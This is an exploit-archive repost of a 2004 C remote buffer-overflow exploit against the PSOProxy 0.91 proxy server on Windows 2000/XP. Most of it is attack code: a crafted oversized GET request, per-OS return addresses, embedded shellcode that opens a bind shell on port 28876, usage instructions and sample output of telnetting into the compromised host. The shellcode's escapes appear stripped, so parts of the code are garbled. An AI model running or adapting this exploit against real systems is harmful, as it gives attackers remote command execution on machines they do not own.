[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PSOProxy 0.91 Remote Buffer Overflow Exploit (Win2k/XP)
# Published : 2004-02-26
# Author : Rave
# Previous Title : GateKeeper Pro 4.7 web proxy Remote Buffer Overflow Exploit
# Next Title : Dream FTP 1.2 Remote Format String Exploit
/*
Copyright ? Rosiello Security
http www rosiello org
================
-== Remote Exploit for PSOProxy version v0.91 ==--
Code by: rave
Contact: rave@rosiello.org
Date: Feb 2004
Bug found by: Donato Ferrante
There is a vulnerability found in the PSOProxy server.
An attacker can execute arbitrary code exploiting remotely a buffer overflow.
The exploit sends:
GET / <1021 x A><adres of the shellcode><shellcode>
This spawns a bindshell on the victim at port 28876..
Usage <C:>psoproxy-exploit.exe <target host> <target number>
Target Number Target Name Stack Adress
============= =========== ===========
0 Demo 0xBADC0DED
1 Windows XP Home Edtion SP1. 0x00D2FDDA
2 Windows XP Pro Edtion SP1. 0x00EDFDDC
3 Win2k Pro Edtion. 0x00BBFDDC
<C:> psoproxy-exploit localhost 1
[+] Winsock Inalized
[+] Trying to connect to localhost:8080
[+] socket inalized
[+] Overflowing string is Prepared
[+] Connected.
[+] Overflowing string had been send
<C:> telnet localhost 28876
Microsoft Windows XP [versie 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
<D:>
DO NOT USE THIS CODE ON DIFFERENT MACHINES BUT YOURS!!!
Respect the law as we do!
Special Tankz to:
opy { win2k 0wnage !! ty for lending me ur box }
B0f { Hope to work with u again in the futhure like we do all the time }
Dragnet { Always willing to help me out }
Angelo { Verry good maffio`so }
Greetz go out to:
Kajun { Verry suportive guy }
NrAziz { 0wns pakistan hax0r scene ! beware always say mr NrAziz }
sloth { good guy }
Mercy { Hope to see u soon }
Netric security {www.netric.org/.de }
[+] All the hax0rs i forgot.
Hate Messages:
Ziphie { U didnt get mine bitch }
OOh and Li0n7 voila fr {
you're doing it all wrong, your exploit doesn't work!
http://www.securityfocus.com/archive/1/354769/2004-02-15/2004-02-21/0
k/j man, keep on doing the good stuff and next time add some more stack adresses so
it would work on other os`s...
}
Advisory at: http://www.rosiello.org/en/read_bugs.php?15
*/
#include <stdio.h>
#include <winsock2.h>
#include <errno.h>
#include <windows.h>
// Darn fucking 1337 macro shit
#define ISIP(m) (!(inet_addr(m) ==-1))
#define offset 1024 //1024
struct remote_targets {
char *os;
unsigned long sh_addr;
} target [] ={
/* Option`s for your eyes only :D*/
"Demo ",
0xbadc0ded,
"Windows XP Home Edtion SP1. ",
0x00D2FDDA,
"Windows XP Pro Edtion SP1. ",
0x00edfddc,
"Win2k Pro Edtion. ",
0x00bbfddc,
};
//Bindcode spawns a binshell on port 28876 (Thanks to metasploit.com guys)
unsigned char shellcode[] =
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"xebx43x56x57x8bx45x3cx8bx54x05x78x01xeax52x8bx52"
"x20x01xeax31xc0x31xc9x41x8bx34x8ax01xeex31xffxc1"
"xcfx13xacx01xc7x85xc0x75xf6x39xdfx75xeax5ax8bx5a"
"x24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01"
"xe8x5fx5exffxe0xfcx31xc0x64x8bx40x30x8bx40x0cx8b"
"x70x1cxadx8bx68x08x31xc0x66xb8x6cx6cx50x68x33x32"
"x2ex64x68x77x73x32x5fx54xbbx71xa7xe8xfexe8x90xff"
"xffxffx89xefx89xc5x81xc4x70xfexffxffx54x31xc0xfe"
"xc4x40x50xbbx22x7dxabx7dxe8x75xffxffxffx31xc0x50"
"x50x50x50x40x50x40x50xbbxa6x55x34x79xe8x61xffxff"
"xffx89xc6x31xc0x50x50x35x02x01x70xccxfexccx50x89"
"xe0x50x6ax10x50x56xbbx81xb4x2cxbexe8x42xffxffxff"
"x31xc0x50x56xbbxd3xfax58x9bxe8x34xffxffxffx58x60"
"x6ax10x54x50x56xbbx47xf3x56xc6xe8x23xffxffxffx89"
"xc6x31xdbx53x68x2ex63x6dx64x89xe1x41x31xdbx56x56"
"x56x53x53x31xc0xfexc4x40x50x53x53x53x53x53x53x53"
"x53x53x53x6ax44x89xe0x53x53x53x53x54x50x53x53x53"
"x43x53x4bx53x53x51x53x87xfdxbbx21xd0x05xd0xe8xdf"
"xfexffxffx5bx31xc0x48x50x53xbbx43xcbx8dx5fxe8xcf"
"xfexffxffx56x87xefxbbx12x6bx6dxd0xe8xc2xfexffxff"
"x83xc4x5cx61xebx89x41";
// now what would this button do ?
char *host_ip;
u_long get_ip(char *hostname)
{
struct hostent *hp;
if (ISIP(hostname)) return inet_addr(hostname);
if ((hp = gethostbyname(hostname))==NULL)
{ perror ("[+] gethostbyname() failed check the existance of the host.n");
exit(-1); }
return (inet_ntoa(*((struct in_addr *)hp->h_addr)));
}
/// oooh yeah uuuh right ....
int usage (char *what)
{
int i;
fprintf(stdout,"Copyright ? Rosiello Securityn");
fprintf(stdout,"http://www.rosiello.orgnn");
fprintf(stdout,"Usage %s <target host> <target number>n",what);
fprintf(stdout,"Target NumberttTarget NamettttStack Adressn");
fprintf(stdout,"=============tt===========tttt===========n");
for (i=0;i < 4;i++)
fprintf(stdout,"%dttt%stt0x%pn",i,target[i].os,target[i].sh_addr);
exit(0);
}
int main(int argc,char **argv)
{
char buffer[offset*2]="get /",*ptr,*address;
int sd,oops,i,choise;
struct sockaddr_in ooh;
WSADATA wsadata;
WSAStartup(0x101, &wsadata);
if (argc < 2) usage(argv[0]);
address=argv[1];
choise=atoi(argv[2]);
fprintf(stdout,"[+] Winsock Inalizedn");
/* Lets start making a litle setup
Change the port if you have to */
ooh.sin_addr.s_addr = inet_addr(get_ip(address));
ooh.sin_port = htons(8080);
ooh.sin_family = AF_INET;
fprintf(stdout,"[+] Trying to connect to %s:%dn",address,8080);
// ok ok here`s ur sock()
sd = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP);
if (!sd<0) { fprintf(stderr,"[!] socket() failed.n");exit (-1); }
fprintf(stdout,"[+] socket inalizedn");
/* initializing the expploiting buffer, read the file comments for the details */
ptr=buffer+strlen(buffer);
for (i=strlen(buffer);i < offset;i++) *ptr++=(char)0x2e;
for (i=strlen(buffer);i < offset+6;i++) { *ptr++=(char)0xa; *ptr++=(char)0xd ;}
memcpy(buffer+strlen(buffer),((char *)&shellcode),strlen(shellcode));
memcpy(buffer+offset,((char *)&target[choise].sh_addr),3);
fprintf(stdout,"[+] Overflowing string is Preparedn");
// Knock knock ... hi i want to hook up with you
oops=connect(sd, (struct sockaddr *)&ooh, sizeof( ooh ));
if(oops!=0) { fprintf(stderr,"[!] connect() failed.n"); exit(-1); }
// yep we are in :D
fprintf(stdout,"[+] Connected.n");
// Sending some Dangerous stuff
i = send(sd,buffer,strlen(buffer),0);
if (!i <0) { fprintf (stdout,"[!] Send() failedn"); exit (-1) ; }
fprintf(stdout,"[+] Overflowing string had been sendn");
/* May psoproxy rest in peace (have cold a nice one and telnet to <host> 28876
<C:> telnet localhost 28876
Microsoft Windows XP [versie 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:>
*/
// the cleaners !!
WSACleanup();
// [EOF]
return 0;
}
// www.Syue.com [2004-02-26]